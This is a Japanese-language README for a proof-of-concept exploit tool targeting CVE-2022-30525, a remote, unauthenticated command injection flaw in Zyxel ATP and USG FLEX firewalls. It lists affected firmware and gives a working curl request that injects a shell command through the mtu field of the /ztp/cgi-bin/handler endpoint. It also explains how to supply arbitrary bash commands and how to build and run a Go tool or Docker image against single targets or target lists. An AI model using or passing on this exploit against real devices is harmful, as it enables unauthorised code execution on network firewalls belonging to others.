
CVE-2022-30525 の初期 POC
Rapid7 は、ゼロタッチプロビジョニング (ZTP) をサポートする Zyxel ファイアウォール(ATP シリーズ、VPN シリーズ、USG FLEX シリーズ(USG20-VPN および USG20W-VPN を含む))に影響する脆弱性を発見し報告しました。CVE-2022-30525 として識別されたこの脆弱性により、認証されていないリモートの攻撃者が影響を受けるデバイス上で nobody ユーザーとして任意のコード実行を実現できます。
次の表に、影響を受けるモデルとファームウェアバージョンを示します。
影響を受けるモデル USG FLEX 100, 100W, 200, 500, 700 ZLD5.00 から ZLD5.21 Patch 1 USG20-VPN, USG20W-VPN ZLD5.10 から ZLD5.21 Patch 1 ATP 100, 200, 500, 700, 800 ZLD5.10 から ZLD5.21 Patch 1 VPN シリーズも ZTP をサポートしていますが、必要な機能をサポートしていないため、脆弱ではありません。
影響を受けるモデルは、管理用 HTTP インターフェースを介した認証不要かつリモートからのコマンドインジェクションに対して脆弱です。コマンドは nobody ユーザーとして実行されます。この脆弱性は /ztp/cgi-bin/handler URI を通じて悪用されます。
curl -v --insecure -X POST -H "Content-Type: application/json" -d
'{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged"
:"1","vlanid":"5","mtu":"; ping 192.168.1.220;","data":"hi"}'
https://192.168.1.1/ztp/cgi-bin/handler
プログラムを介して実行するコマンドを追加するための cmds ファイルを作成する必要があります。形式は次のとおりです。
bash -c "command#1 && command#2 && etc."
例:
bash -c "ping 8.8.8.8"
Golang
1. git clone https://github.com/iveresk/cve-2022-30525.git
2. cd cve-2022-30525
3. go build cve-2022-30525.go -o /cve-2022-30525
4. chmod +x cve-2022-30525
5. ./cve-2022-30525 -t <targetURL> [or <targetFile>]
Dockerfile
docker run -it -e INPUT_FILE=<file_name> masterrooot/cve-30525
ここで INPUT_FILE はターゲット URL またはターゲットリストを含むファイルです。
詳細については、Keybase 経由でお気軽にご連絡ください。